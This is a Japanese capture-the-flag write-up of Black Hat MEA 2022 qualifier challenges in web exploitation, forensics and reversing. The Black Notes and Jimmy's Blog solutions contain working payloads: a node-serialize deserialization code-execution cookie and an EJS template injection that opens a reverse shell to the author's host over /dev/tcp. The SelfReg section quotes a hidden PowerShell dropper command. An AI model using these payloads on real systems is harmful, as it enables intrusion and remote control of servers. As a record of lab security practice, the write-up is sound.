9/30 - 10/2という日程で開催された。zer0ptsで参加して16位。zer0ptsのチームメンバーのKahlaさんが一部のWeb問の作問をしていると聞いて、また上位チームには11月に開催される決勝大会に参加する際の旅費が支援されると聞いて参加した。旅費支援の対象は上位10チームのうち全完したチームのみとのことだったので、それはダメだった。
一部の問題サーバを必要とする問題ではチームごとにインスタンスを立てる必要があった。(おそらくチーム間でのフラグの共有などの不正検知のために)チームごとにフラグを生成していたり、やりようによっては全参加者に影響を与えられる問題もあったためだろう。それがちょっと印象に残った。
- [Web Exploitation 150] Spatify
- [Web Exploitation 150] peeHpee
- [Web Exploitation 250] Meme Generator
- [Web Exploitation 250] Black Notes
- [Web Exploitation 400] Jimmy's Blog
- [Digital Forensics 150] Bus
- [Digital Forensics 250] Mem
- [Reverse Engineering 150] SelfReg
- [Reverse Engineering 400] Hope you know JS
[Web Exploitation 150] Spatify
ソースコードはなし。問題サーバのURLが与えられている。アクセスすると、曲のリストと検索フォームが表示される。裏でSQLのクエリが走るかと、LIKE
句が使われているかの確認のために %%%%%
を検索してみると、めちゃくちゃ怪しい曲が出てきた。
この曲のURLにアクセスすると、THISISTHEPASSWORDTOTHEADMINPANEL123321123321
という内容のファイルがダウンロードできた。
どこで使うのか困ったけれども、適当に試していたら /robots.txt
を見つけた。内容は Disallow: /superhiddenadminpanel/
というものだったので、このパスにアクセスする。すると、パスワードを要求された。手に入れたパスワードを入力するとフラグが得られる。
BlackHatMEA{1207:14:e35e5613e6948d855fec2746770f48f0b2178fa9}
まさかのfirst blood。
[Web Exploitation 150] peeHpee
問題サーバのURLが与えられている。アクセスするとログインフォームが表示される。
HTMLを確認すると、最後の方に <!-- Check /?source= for the source code -->
とある。/?source=a
にアクセスしてみると、ソースコードが表示された。メールアドレスは admin@naruto.com
、パスワードは SuperSecRetPassw0rd
らしい。…が、$inp==="SuperSecRetPassw0rd"
である場合には弾かれてしまう。
<?php //Show Page code source if(isset($_GET["source"])){ highlight_file(__FILE__); } // Juicy PHP Part $flag=getenv("FLAG"); if ($_SERVER['REQUEST_METHOD'] === 'POST') { if(isset($_POST["email"])&&isset($_POST["pass"])){ if($_POST["email"]==="admin@naruto.com"){ $x=$_POST["test"]; $inp=preg_replace("/[^A-Za-z0-9$]/","",$_POST["pass"]); if($inp==="SuperSecRetPassw0rd"){ die("Hacking Attempt detected"); } else{ if(eval("return \$inp=\"$inp\";")==="SuperSecRetPassw0rd"){ echo $flag; } else{ die("Pretty Close maybe ?"); } } } } }
パスワードをチェックする処理が eval("return \$inp=\"$inp\";")==="SuperSecRetPassw0rd"
であることに注目する。なんで eval
しているのだろうという疑問はおいといて、"SuperSecRetPassw0r"."d
のようにすれば $inp==="SuperSecRetPassw0rd"
という単純な比較には引っかからない。が、通らない。
あれ? と思ったところ、直前で $inp=preg_replace("/[^A-Za-z0-9$]/","",$_POST["pass"]);
と A-Za-z0-9$
以外の文字が削除されていることに気づいた。$
が許可されているなら変数を使えばいい。なぜか $x=$_POST["test"];
といい感じの変数が存在しているので、email=admin@naruto.com&pass=SuperSecRetPassw0r$x&test=d
というような感じでPOSTするとフラグが得られた。
BlackHatMEA{1207:17:0cc2d74efc62964ea592f0697408a77f0cf5dcbe}
[Web Exploitation 250] Meme Generator
問題サーバのURLが与えられている。アクセスすると、適当に検索エンジンとクエリを入力すると、それをもとに検索した結果を含む画像を生成してくれるWebアプリケーションっぽいとわかる。/source
へのリンクがあり、そこからソースコードが得られる。
肝心の utils.py
を見せてくれないのは不満だけれども、/flag
でフラグが得られるという情報は得られる。ただし、ローカルからのアクセスでなければならず、またリクエストに使われるURLも http://l0calhost
から始まっていなければならない。後者は http://l0calhost.127-0-0-1.nip.io
みたいな感じでバイパスできそう。
import utils from flask import Flask, render_template, request import os import html app = Flask(__name__) @app.route("/") def index(): return render_template("index.html") @app.route("/api/generate", methods = ["POST"]) def generate(): search_engine = request.form.get("search_engine") query = request.form.get("query") if not (search_engine and query): return "", 400 utils.take_screenshot(search_engine, query) utils.make_meme() return "", 200 @app.route("/source") def source(): with open(__file__, "r") as f: return f"<pre><code>{html.escape(f.read())}</code></pre>", 200 @app.route("/flag") def flag(): # TODO: Fix typo if request.remote_addr == "127.0.0.1" and request.url.startswith("http://l0calhost"): return os.getenv("FLAG"), 200 return "Nice try", 200 app.run("0.0.0.0", 8080)
検索エンジンの選択欄は、その値が google
, duckduckgo
, あと searchencrypt
から選択するものになっていた。ググると全部 .com
で終わるドメイン名のサービスであるとわかる。送られた値と .com
、あとパスとクエリパラメータを結合してURLを生成し、アクセスしているのでは?
php -S 0.0.0.0:80
で雑にWebサーバを立てておいて、試しに (IPアドレス).nip.io#
を検索エンジンとして画像を生成してみると、指定したIPアドレスにアクセスが来た。ただし、以下のエラーログからもわかるように、HTTPSでなければならないらしい。
リダイレクトが効くか試してみたい。Let's Encryptを使ってHTTPSもいけるWebサーバを用意する。以下の内容のHTMLを /a.html
に置く。
<!DOCTYPE html> <html> <head> <meta http-equiv="refresh" content="0;URL=http://l0calhost.127-0-0-1.nip.io:8080/flag"> <title>Welcome to nginx!</title> </head> <body> </body> </html>
(ドメイン名)/a.html#
を検索エンジンとして画像を生成してみると、以下のような画像が出てきた。成功したようだ。
ランダム生成なので打つのがめちゃくちゃめんどくさいが、フラグは得られた。
BlackHatMEA{1207:15:2278242e666a9c33f8d32ebde22d0a4482634a17}
[Web Exploitation 250] Black Notes
問題サーバのURLが与えられている。アクセスすると、いい感じにメモを取れるサービスが表示される。
Server
ヘッダは出ていない(はず)が、/a.html
とかにアクセスして404を出させてみると、返ってくるHTMLの感じからExpressで動いているとわかる。
適当にメモを追加してみると、以下のようにCookieがセットされる。
Set-Cookie: notes=eyJub3RlcyI6eyIwIjoiU2FtcGxlIE5vdGUiLCIxIjoiYWFhIiwiMiI6Int7Y29uZmlnfX0iLCIzIjoiXCIiLCI0IjoiYSJ9fQ%3D%3D; Path=/
デコードすると以下のようなJSONが出てくる。適当に改ざんしてもそのまま反映されるし、HMACなりなんなりの検証のための文字列がないという見た目の通り、内容は検証されていないようだ。
{"notes":{"0":"Sample Note","1":"aaa","2":"{{config}}","3":"\"","4":"a"}}
ただ、これで何をするのかという問題がある。適当に {
のような壊れたJSONを投げてみると、エラーを吐いた。スタックトレースから node-serialize
というパッケージを使ってデシリアライズしていそうだと推測できる。
SyntaxError: Unexpected end of JSON input at JSON.parse (<anonymous>) at exports.unserialize (/data/node_modules/node-serialize/lib/serialize.js:62:16) at /data/app.js:42:37 at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5) at next (/data/node_modules/express/lib/router/route.js:144:13) at Route.dispatch (/data/node_modules/express/lib/router/route.js:114:3) at Layer.handle [as handle_request] (/data/node_modules/express/lib/router/layer.js:95:5) at /data/node_modules/express/lib/router/index.js:284:15 at Function.process_params (/data/node_modules/express/lib/router/index.js:346:12) at next (/data/node_modules/express/lib/router/index.js:280:10)
npmにあるパッケージの説明を見ると、node-serialize
は関数もシリアライズしてくれることがわかる。では、{"notes":{"0":"Sample Note","1":{toString(){console.log(123)}}}
のように toString
というメソッドを持つメモをシリアライズすればどうなるだろう。そのメモを表示する際に toString
を呼び出してくれるだろうか。
node-serialize
で遊ぶと、関数は _$$ND_FUNC$$_
から始まる文字列にシリアライズされることがわかる。{"notes":{"0":"a","1":{"toString":"_$$ND_FUNC$$_function () { return 7*7 }"}}}
をBase64エンコードしたものをCookieにセットする。このままアクセスすると、49
という内容のメモが表示された。うまくいったようだ。
{"notes":{"0":"a","1":{"toString":"_$$ND_FUNC$$_function () { return [].constructor.constructor('return process')().mainModule.require('child_process').execSync('ls -la /')+'' }"}}}
でルートディレクトリにあるファイルとディレクトリを列挙する。怪しいファイルがひとつある。
total 80 drwxr-xr-x 1 root root 4096 Sep 30 14:50 . drwxr-xr-x 1 root root 4096 Sep 30 14:50 .. -rwxr-xr-x 1 root root 0 Sep 30 14:50 .dockerenv drwxr-xr-x 1 root root 4096 Sep 13 03:44 bin drwxr-xr-x 2 root root 4096 Sep 3 12:10 boot drwxr-xr-x 1 root root 4096 Sep 29 09:42 data drwxr-xr-x 5 root root 340 Sep 30 14:50 dev drwxr-xr-x 1 root root 4096 Sep 30 14:50 etc drwxr-xr-x 1 root root 4096 Sep 13 06:33 home drwxr-xr-x 1 root root 4096 Sep 13 03:44 lib drwxr-xr-x 2 root root 4096 Sep 12 00:00 lib64 drwxr-xr-x 2 root root 4096 Sep 12 00:00 media drwxr-xr-x 2 root root 4096 Sep 12 00:00 mnt drwxr-xr-x 1 root root 4096 Sep 28 23:21 opt dr-xr-xr-x 481 root root 0 Sep 30 14:50 proc -rw-r--r-- 1 root root 62 Sep 30 14:50 ranDom_fl4gImportant.txt drwx------ 1 root root 4096 Sep 28 23:21 root drwxr-xr-x 3 root root 4096 Sep 12 00:00 run drwxr-xr-x 1 root root 4096 Sep 13 03:43 sbin drwxr-xr-x 2 root root 4096 Sep 12 00:00 srv dr-xr-xr-x 13 root root 0 Sep 30 14:40 sys drwxrwxrwt 1 root root 4096 Sep 28 23:21 tmp drwxr-xr-x 1 root root 4096 Sep 12 00:00 usr drwxr-xr-x 1 root root 4096 Sep 12 00:00 var
実行するコマンドを cat /ranDom_fl4gImportant.txt
に変えるとフラグが得られた。
BlackHatMEA{1207:18:9481f58a77d13556d99f83eb13b9b8dd68f28bcc}
ブラックボックス問題か…と最初思ったけど、エラーメッセージから情報が得られるのはなるほどなあという感じだった。
[Web Exploitation 400] Jimmy's Blog
ソースコードつき。ブログサービスでユーザ登録・ログインもできるけれども、記事を追加できるような機能はない。記事の編集はできるが、それは管理者に限られている。普通に登録するだけでは管理者になれない。登録時には (ユーザ名).key
というランダムに生成されたファイルが発行され、ログイン時にはユーザ名を入力した上で、そのファイルをアップロードする。
与えられているソースコードについて、主な処理が index.js
と utils.js
にある。
index.js
const express = require("express"); const cookieParser = require("cookie-parser"); const sessions = require('express-session'); const body_parser = require("body-parser"); const multer = require('multer') const crypto = require("crypto") const path = require("path"); const fs = require("fs"); const utils = require("./utils"); const app = express(); app.set('view engine', 'ejs'); app.set('views', './views'); app.disable('view cache'); app.use(sessions({ secret: crypto.randomBytes(64).toString("hex"), cookie: { maxAge: 24 * 60 * 60 * 1000 }, resave: false, saveUninitialized: true })); app.use('/static', express.static('static')) app.use(body_parser.urlencoded({ extended: true })); app.use(cookieParser()); const upload = multer(); app.get("/", (req, res) => { const article_paths = fs.readdirSync("articles"); let articles = [] for (const article_path of article_paths) { const contents = fs.readFileSync(path.join("articles", article_path)).toString().split("\n\n"); articles.push({ id: article_path, date: contents[0], title: contents[1], summary: contents[2], content: contents[3] }); } res.render("index", {session: req.session, articles: articles}); }) app.get("/article", (req, res) => { const id = parseInt(req.query.id).toString(); const article_path = path.join("articles", id); try { const contents = fs.readFileSync(article_path).toString().split("\n\n"); const article = { id: article_path, date: contents[0], title: contents[1], summary: contents[2], content: contents[3] } res.render("article", { article: article, session: req.session, flag: process.env.FLAG }); } catch { res.sendStatus(404); } }) app.get("/login", (req, res) => { res.render("login", {session: req.session}); }) app.get("/register", (req, res) => { res.render("register", {session: req.session}); }) app.post("/register", (req, res) => { const username = req.body.username; const result = utils.register(username); if (result.success) res.download(result.data, username + ".key"); else res.render("register", { error: result.data, session: req.session }); }) app.post("/login", upload.single('key'), (req, res) => { const username = req.body.username; const key = req.file; const result = utils.login(username, key.buffer); if (result.success) { req.session.username = result.data.username; req.session.admin = result.data.admin; res.redirect("/"); } else res.render("login", { error: result.data, session: req.session }); }) app.get("/logout", (req, res) => { req.session.destroy(); res.redirect("/"); }) app.get("/edit", (req, res) => { if (!req.session.admin) return res.sendStatus(401); const id = parseInt(req.query.id).toString(); const article_path = path.join("articles", id); try { const article = fs.readFileSync(article_path).toString(); res.render("edit", { article: article, session: req.session, flag: process.env.FLAG }); } catch { res.sendStatus(404); } }) app.post("/edit", (req, res) => { if (!req.session.admin) return res.sendStatus(401); try { fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, "")); res.redirect("/"); } catch { res.sendStatus(404); } }) app.listen(3000, () => { console.log("Server running on port 3000"); })
utils.js
const sqlite = require("better-sqlite3"); const path = require("path"); const crypto = require("crypto") const fs = require("fs"); const db = new sqlite(":memory:"); db.exec(` DROP TABLE IF EXISTS users; CREATE TABLE IF NOT EXISTS users ( id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR(255) NOT NULL UNIQUE, admin INTEGER NOT NULL ) `); register("jimmy_jammy", 1); function register(username, admin = 0) { try { db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin); } catch { return { success: false, data: "Username already taken" } } const key_path = path.join(__dirname, "keys", username + ".key"); const contents = crypto.randomBytes(1024); fs.writeFileSync(key_path, contents); return { success: true, data: key_path }; } function login(username, key) { const user = db.prepare("SELECT * FROM users WHERE username = ?").get(username); if (!user) return { success: false, data: "User does not exist" }; if (key.length !== 1024) return { success: false, data: "Invalid access key" }; const key_path = path.join(__dirname, "keys", username + ".key"); if (key.compare(fs.readFileSync(key_path)) !== 0) return { success: false, data: "Wrong access key" }; return { success: true, data: user }; } module.exports = { register, login };
フラグは /article
と /edit
にある res.render("article", { article: article, session: req.session, flag: process.env.FLAG });
という処理から、環境変数にあることがわかる。テンプレートに値として渡されているけれども、flag
はどこからも参照されていない。RCEに持ち込む必要がありそうだなあと察する。
メタ読みだけれども、/edit
という重要そうな機能があるのに、初っ端で if (!req.session.admin) return res.sendStatus(401);
と管理者以外を弾いているところが怪しい。まずは別の脆弱性で管理者となってから、/edit
の脆弱性を使ってなにかするんだろうなあと推測できる。/edit
の脆弱性は明らかで、Path Traversalで好きなファイルを書き換えられる。
fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
管理者になる方法を探したい。管理者であるかどうかを含めたユーザ情報はDBに保存されているけれども、ちゃんとプリペアドステートメントを使っているからSQLiはできない。登録時・ログイン時には管理者かどうかを設定できるようなパラメータはユーザから直接受け付けていない。
utils.js
の register("jimmy_jammy", 1);
という処理から、jimmy_jammy
というユーザが最初から管理者として登録されていることがわかる。このユーザになりすませないか。まず jimmy_jammy
というユーザ名で登録できないかと思ったが、DBの作成時に username
カラムにUNIQUE制約がつけられているからダメ。
ソースコードを眺めていたところ、utils.js
にある register
の以下の処理で、Path Traversalができることに気づく。ユーザごとに生成される鍵は keys/(ユーザ名).key
に保存されているが、../keys/jimmy_jammy
のようなユーザ名で登録すれば、UNIQUE制約を回避しつつ jimmy_jammy
の鍵を書き換えられないか。
const key_path = path.join(__dirname, "keys", username + ".key"); const contents = crypto.randomBytes(1024); fs.writeFileSync(key_path, contents);
../keys/jimmy_jammy
というユーザ名で登録し、jimmy_jammy
というユーザ名と発行された鍵のペアでログインできた。これで /edit
が使えるようになった。
/edit
のPath Traversalで何を書き換えるかだが、まずテンプレートファイルを思いついた。mustacheのようなCTFerに優しくないテンプレートエンジンでなく、EJSという慈愛に満ちたものが使われているから、RCEに持ち込むのは簡単だ。
以下のように、レンダリングされるとリバースシェルを張るOSコマンドが走るテンプレートを views/register.ejs
に書き込む。
fetch("https://(ホスト名)/edit?id=../views/register.ejs", { "headers": { "content-type": "application/x-www-form-urlencoded" }, "body": "article=<%25%3D process.mainModule.require('child_process').execSync('bash -c %22bash -i >%26 /dev/tcp/(IPアドレス)/8000 0>%261%22') %25>", "method": "POST", "mode": "cors", "credentials": "include" });
これで /register
にアクセスすると、無事問題サーバから接続が来た。printenv
でフラグが得られた。
root@85f627b9c0d9:/app# printenv printenv HOSTNAME=85f627b9c0d9 YARN_VERSION=1.22.19 PWD=/app NODE_ENV=production HOME=/root FLAG=BlackHatMEA{1207:16:523154af52d534aa6f2532c83c6a2632ff847f01} SHLVL=3 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NODE_VERSION=18.9.1 _=/usr/bin/printenv
BlackHatMEA{1207:16:523154af52d534aa6f2532c83c6a2632ff847f01}
[Digital Forensics 150] Bus
bus.pcap
というpcapファイルが与えられる。Wiresharkで開いてみると、なんかModbusをしゃべっている様子が見られる。送信されているデータは ff
と 00
ばかりだ。
Scapyを使った以下のスクリプトでどんなデータが送信されているか見てみる。
from scapy.all import * res = b'' for i, pkt in enumerate(PcapReader('bus.pcap')): if not (TCP in pkt and pkt[TCP].dport == 502 and hasattr(pkt, 'load')): continue res += bytes([pkt.load[-2]]) print(res)
やはり ff
と 00
のみらしい。
$ python3 s.py b'\x00\xff\xff\xff\xff\x00\x00\xff\x00\xff\xff\x00\xff\xff\xff\xff\x00\xff\xff\xff\x00\xff\x00\xff\x00\xff\xff\xff\x00\x00\xff\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\xff\xff\x00\x00\xff\x00\x00\xff\xff\x00\x00\x00\xff\x00\x00\x00\x00\x00\xff\x00\xff\x00\x00\x00\xff\xff\xff\x00\x00\xff\x00\x00\x00\x00\x00\x00\xff\xff\x00\xff\x00\x00\xff\x00\xff\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\xff\x00\xff\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\xff\x00\x00\xff\xff\x00\xff\x00\xff\xff\x00\xff\xff\xff\xff\x00\xff\xff\x00\x00\xff\x00\x00\x00\xff\xff\x00\x00\x00\xff\x00\x00\xff\xff\xff\x00\xff\x00\xff\x00\xff\xff\xff\x00\x00\xff\xff\x00\xff\x00\xff\xff\xff\xff\xff\x00\xff\xff\x00\xff\x00\x00\xff\x00\xff\xff\xff\x00\x00\xff\xff\x00\xff\x00\xff\xff\xff\xff\xff\x00\xff\xff\x00\x00\xff\x00\xff\x00\xff\xff\x00\x00\x00\x00\xff\x00\xff\xff\xff\x00\x00\xff\xff\x00\xff\xff\xff\xff\x00\x00\xff\x00\xff\x00\xff\xff\xff\xff\xff\x00\xff\xff\x00\x00\x00\x00\xff\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\xff\x00\xff\x00\x00\x00\xff\xff\x00\x00\xff\x00\xff\x00\xff\xff\xff\x00\x00\xff\x00\x00\xff\x00\xff\xff\xff\xff\xff\x00\xff\xff\x00\x00\x00\x00\xff\x00\xff\xff\x00\xff\xff\x00\x00\x00\xff\xff\x00\xff\xff\x00\x00\x00\x00\xff\x00\x00\x00\x00\xff'
これを2進数とみて、ff
と 00
をそれぞれ 1
と 0
に置換する。ありがとうCyberChef。
Modbus_is_easy_after_all!
[Digital Forensics 250] Mem
Windowsのメモリダンプっぽいものが与えられる。問題文には "I can no longer retrieve my secret file, also I don't remember the password. It is a hard password and securely generated, but i saved it locally" とあったので、Volatilityを使って filescan
でファイルを探す。flag.rar
と Hint.txt
というとても怪しいファイル名が出てきた。
> volatility_2.6_win64_standalone.exe -f .\mem.raw --profile=Win7SP1x64 filescan … 0x000000001bbff9c0 16 0 R--r-- \Device\HarddiskVolume1\Users\Machine\Desktop\CTF\flag.rar ... 0x000000002639ddd0 16 0 R--r-- \Device\HarddiskVolume1\Users\Machine\Desktop\CTF\flag.rar ... 0x000000007dc4f8c0 16 0 R--rw- \Device\HarddiskVolume1\Users\Machine\Desktop\Hint.txt …
volatility_2.6_win64_standalone.exe -f .\mem.raw --profile=Win7SP1x64 dumpfiles -D output/ -Q 0x000000001bbff9c0
のような感じでファイルを取り出す。…が、Hint.txt
の方はなぜかうまくいかない。困っていると、aventadorさんが volshell
で色々いじって、UserPasswordHint
というレジストリキーを見つけたと教えてくれた。その値は環境変数をチェックしろというヒントだったらしい。
> volatility_2.6_win64_standalone.exe -f .\mem.raw --profile=Win7SP1x64 envars Pid Process Block Variable Value -------- -------------------- ------------------ ------------------------------ ----- 224 smss.exe 0x00000000002b1320 Path C:\Windows\System32 224 smss.exe 0x00000000002b1320 SystemDrive C: 224 smss.exe 0x00000000002b1320 SystemRoot C:\Windows … 300 csrss.exe 0x00000000002e1320 SystemP Ittm1Fc7hcuFrLZIQmxs …
SystemP
というのがそれだったらしい。Ittm1Fc7hcuFrLZIQmxs
というパスワードで flag.rar
を展開できた。
Password_hints_are_the_retrievable
[Reverse Engineering 150] SelfReg
Windows向けのレジストリ情報が入っている sample.reg
というファイルが与えられる。雑にバイナリエディタで見てみると HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
というレジストリキーであったり、PowerShellのスクリプトであったりが見える。
実行されるコマンドはこんな感じ。ファイルサイズが0x10683バイトの .reg
ファイルを探してバッチファイルとして書き込み、実行しているのだろうなあとなんとなくわかる。
cmd.exe /c \"powershell -windowstyle hidden $reg = gci -Path C:\\ -Recurse *.reg ^| where-object {$_.length -eq 0x00010683} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\"
sample.reg
の後ろの方にはまた怪しげなコマンドやらなんやらがある。0x77とXORして、643バイト目以降を切り取って (ランダムな値).exe
として保存・実行しているのだろうなあという雰囲気がつかめる。
CyberChefを使うと楽にファイルが取り出せる。
出てきたPEファイルをGhidraに投げると、すぐにそれっぽい関数が見つかった。
sub_140001540
と同じことをするとフラグが得られる。
Flag{3mbed_ex3_1n_s3lf_3xecut1ng_r3g_f1le}
[Reverse Engineering 400] Hope you know JS
問題サーバのURLが与えられる。アクセスすると good-luck.js
と flag_prefix.txt
という2つのファイルがあることを示すインデックスが表示された(zer0pts向けのこの2つのファイルはGistに置いた)。前者はjavascript-obfuscatorで難読化されたJSコードで、実行すると prompt
でパスワードを聞かれる。不正解ならコンソールにwrongと出力される。後者は 1207:24:
という内容で、good-luck.js
の正解のパスワードとくっつけるとフラグができあがる。
prompt
でパスワードを聞かれた際に、短い文字列だと Cannot read properties of undefined (reading 'charCodeAt')
と怒られてしまう。おそらく文字数のチェックをしないままループを回したりして範囲外アクセスが起こっているのだろう。これをヒントにまずはパスワードの文字数を特定したい。1文字ずつ増やしていって、エラーを吐かなくなるのは何文字のときか確認する。以下のコードを実行すると、40文字とわかった。
(async () => { const check = await (await fetch('good-luck.js')).text(); for (let i = 0; i < 100; i++) { const prompt = () => 'A'.repeat(i); try { eval(check); console.log(i); return; } catch {} } })();
では次は、とJSコードを読み進めようとしたところ、aventadorさんが以下の関数が怪しいと目をつけた。3つを抜き出したが、このほかにも x
から始まる似たような構造の関数が何十個とある。難読化されているから読みにくいけど、要は a*b==parseInt(…)
やら a-b==parseInt(…)
やらといったことをしている。これが全部成り立つようにするとパスワードが出てくるはず。
function xa66ae5ebf8df259d8994(_0x46eb60, _0x3ad4f1, _0x14eb5d, _0x2d1b46, _0x2f60a2) { var _0x520fe0 = _0xe23282, _0xd34566 = _0x14eb5d * _0x2f60a2 == parseInt([2, 3, false.toString()[_0x520fe0(460)], 2][_0x520fe0(452)]("")); return _0xd34566; } function x784494430ee598507f11(_0x20333e, _0x31010a, _0x26af38, _0x28565f, _0x41c64b) { var _0x587984 = _0xe23282, _0x5b1022 = _0x20333e - _0x26af38 == parseInt([2][_0x587984(452)]("")); return _0x5b1022; } function xcd00020f1f34253dd9ce(_0x2ef2ec, _0x2216df, _0x4f18eb, _0x213a1a, _0x53ea5a) { var _0x4e1d5b = _0xe23282, _0x7ebe89 = _0x4f18eb + _0x53ea5a == parseInt([1, false[_0x4e1d5b(450)]()[_0x4e1d5b(460)], 0][_0x4e1d5b(452)]("")); return _0x7ebe89; } // …
parseInt
の引数は定数(であると信じたい)なので、その部分の難読化を解除したい。ついでに、引数が _0x2ef2ec
やら _0x2216df
やら読みづらいのでリネームしたい。手作業でやるのもなんなので、まとめて難読化を解除するスクリプトを書く。手順は次のような感じ。
- 仮引数名をリネームする
- 仮引数名を取得する
- それらを
a0
やa2
のように何番目の引数かわかるよう置換する
parseInt
の引数を置換するparseInt
の引数を切り出すeval
して元の定数を取得し、置換する
ASTを解析するほどでもないしと思い、正規表現を中心とした文字列処理でなんとかした。以下のコードを実行すると、うまくいった。
console.log(`function xa66ae5ebf8df259d8994(_0x46eb60, _0x3ad4f1, _0x14eb5d, _0x2d1b46, _0x2f60a2) { var _0x520fe0 = _0xe23282, _0xd34566 = _0x14eb5d * _0x2f60a2 == parseInt([+!![] + +!![], +!![] + +!![] + +!![], (![])['toString']()[_0x520fe0(0x1cc)], +!![] + +!![]][_0x520fe0(0x1c4)]('')); return _0xd34566; } function x784494430ee598507f11(_0x20333e, _0x31010a, _0x26af38, _0x28565f, _0x41c64b) { var _0x587984 = _0xe23282, _0x5b1022 = _0x20333e - _0x26af38 == parseInt([+!![] + +!![]][_0x587984(0x1c4)]('')); return _0x5b1022; } function xcd00020f1f34253dd9ce(_0x2ef2ec, _0x2216df, _0x4f18eb, _0x213a1a, _0x53ea5a) { var _0x4e1d5b = _0xe23282, _0x7ebe89 = _0x4f18eb + _0x53ea5a == parseInt([+!![], (![])[_0x4e1d5b(0x1c2)]()[_0x4e1d5b(0x1cc)], +![]][_0x4e1d5b(0x1c4)]('')); return _0x7ebe89; } …`.split('\n\n').map(func => { // rename params const params = /\((.+), (.+), (.+), (.+), (.+)\)/g.exec(func.split('\n')[0]).slice(1, 6); func = params.reduce((p, c, i) => { return p.replaceAll(c, `a${i}`); }, func); // rename function names if (func.includes('_0xe23282')) { let [before, after] = func.split('\n')[2].split(' = '); before = before.split(' ').at(-1); after = after.slice(0, -1); func = func.replaceAll(before, after); } // deobfuscate constants let consts = []; let match, regex = /parseInt/g; let prevEnd = 0; let res = ''; while ((match = regex.exec(func)) !== null) { let start = match.index + 9; let end = start, depth = 1; while (depth > 0) { if (func[end] === '(') depth++; if (func[end] === ')') depth--; end++; } const arg = func.slice(start, end - 1); res += func.slice(prevEnd, start - 9) + parseInt(eval(arg)); prevEnd = end; } res += func.slice(prevEnd); return res; }).join('\n'));
出力されたコードは以下のような感じ。だいぶ読みやすくなった。
function xa66ae5ebf8df259d8994(a0, a1, a2, a3, a4) { var _0xe23282 = _0xe23282, _0xd34566 = a2 * a4 == 2352; return _0xd34566; } function x784494430ee598507f11(a0, a1, a2, a3, a4) { var _0xe23282 = _0xe23282, _0x5b1022 = a0 - a2 == 2; return _0x5b1022; } function xcd00020f1f34253dd9ce(a0, a1, a2, a3, a4) { var _0xe23282 = _0xe23282, _0x7ebe89 = a2 + a4 == 150; return _0x7ebe89; } // …
まだ問題はあって、これらの関数に渡ってきた引数が、それぞれパスワードの何文字目であるかはこのままではわからない。なので、各関数の頭に関数名と引数を吐き出すコードを挿入する。0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcd
のように各文字がユニークな文字列を prompt
では入力しておいて、各関数にある引数を出力する処理では、渡ってきた各引数がそれぞれユーザ入力の何文字目と対応するかチェックし、出力する。
この処理を実装すると以下のようになる。
console.log(` function getIndices(args) { const table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcd'; return args.map(c => table.indexOf(String.fromCharCode(c))); } ` + `function xa66ae5ebf8df259d8994(a0, a1, a2, a3, a4) { var _0xe23282 = _0xe23282, _0xd34566 = a2 * a4 == 2352; return _0xd34566; } function x784494430ee598507f11(a0, a1, a2, a3, a4) { var _0xe23282 = _0xe23282, _0x5b1022 = a0 - a2 == 2; return _0x5b1022; } function xcd00020f1f34253dd9ce(a0, a1, a2, a3, a4) { var _0xe23282 = _0xe23282, _0x7ebe89 = a2 + a4 == 150; return _0x7ebe89; } … `.replaceAll(/function (x[0-9a-f]+)\(.+?\n\{/gm, function (m, f) { return `function ${f}(a0, a1, a2, a3, a4)\n{\n console.log('${f}:', getIndices([a0, a1, a2, a3, a4]));`; }))
実行すると以下のようなコードが出力される。うまくいってそう。元の関数をこれで置き換えて、実行する。
function getIndices(args) { const table = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcd'; return args.map(c => table.indexOf(String.fromCharCode(c))); } function xa66ae5ebf8df259d8994(a0, a1, a2, a3, a4) { console.log('xa66ae5ebf8df259d8994:', getIndices([a0, a1, a2, a3, a4])); var _0xe23282 = _0xe23282, _0xd34566 = a2 * a4 == 2352; return _0xd34566; } // …
表示された prompt
で 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcd
を入力すると、以下のように出力された。
あとはZ3に解かせるだけだ。
import re from z3 import * with open('indices.txt', 'r') as f: indices = f.read() indices = [line.split(' ', 1) for line in indices.splitlines()] indices = [(line[0], eval(line[1])) for line in indices] indices = {k: v for k, v in indices} with open('suspicious.js', 'r') as f: code = f.read() input = [Int(f'flag_{i}') for i in range(40)] solver = Solver() for c in input: solver.add(0x20 <= c, c < 0x7f) for func in code.split('\n\n'): func_name = re.findall(r'function (x[0-9a-f]+)', func)[0] m = indices[func_name] for i in range(5): func = func.replace(f'a{i} ', f'input[{m[i]}] ') func = func.replace(';', '') func = func.replace(',', '') eqs = re.findall(r' = (.+ == .+)', func) for eq in eqs: solver.add(eval(eq)) print(eqs) res = solver.check() print(res) if res == sat: flag = '' m = solver.model() for c in input: flag += chr(m[c].as_long()) print(flag)
これを実行すると、それっぽいパスワードが出力された。これをパスワードとして入力するとちゃんと Congrats!
と出力される。
$ python3 solve.py ... ['input[8] + input[23] - input[38] == 94'] ['input[22] + input[37] - input[39] == 56'] ['input[25] + input[28] - input[36] == 106'] sat 9106203013c294272aad649fc850ff0b5fc54293
…が、1207:24:9106203013c294272aad649fc850ff0b5fc54293
をフラグとして提出してもなぜか通らない。aventadorさんが運営に問い合わせたところ、パスワードは複数存在しうるのでほかのものを探してほしいということらしかった😔
仕方がないので、以下のように 9106203013c294272aad649fc850ff0b5fc54293
以外のパスワードを探せるよう制約を付け加える。
s = b'9106203013c294272aad649fc850ff0b5fc54293' i = 3 solver.add(input[i] != s[i])
今度はうまくいった。
1207:24:9103203016c294272aad649fc850ff0b5fc54293
*1:厳しい